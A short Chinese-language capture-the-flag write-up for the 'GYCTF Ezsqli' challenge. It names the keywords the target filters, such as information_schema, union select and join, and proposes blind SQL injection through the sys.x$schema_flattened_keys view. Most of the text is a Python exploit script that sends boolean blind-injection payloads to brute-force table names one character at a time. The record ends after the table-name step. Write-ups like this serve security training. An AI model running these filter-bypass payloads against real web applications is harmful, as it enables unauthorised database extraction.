GYCTF Ezsqli

Posted 2020-11-28 tiaopidejun

Fuzz 

发现过滤了 and or if information_schema  union+select合起来的时候会过滤，但分开不过滤   过滤了join  regexp 

 考虑盲注  information_schema被过滤，可以换为sys.x$schema_flattened_keys

fuzz的时候，发现如果查询成功的话会回显Nu1L

爆表名

exp:

# -*- coding: UTF-8 -*-
import requests
flag=‘‘
url=‘http://9ed82b30-6500-472d-af3b-2c380fc65adc.node3.buuoj.cn/index.php‘
link=0
for i in range(1,50):
    for j in range(32,128):
        payload = "1 && ascii(substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),"+str(i)+",1))="+str(j)+"#"
        data={
            ‘id‘: payload
        }
        res=requests.post(url,data=data)
        if ‘Nu1L‘ in res.text:
            flag=flag+chr(j)
            print(flag)
            link=1
            break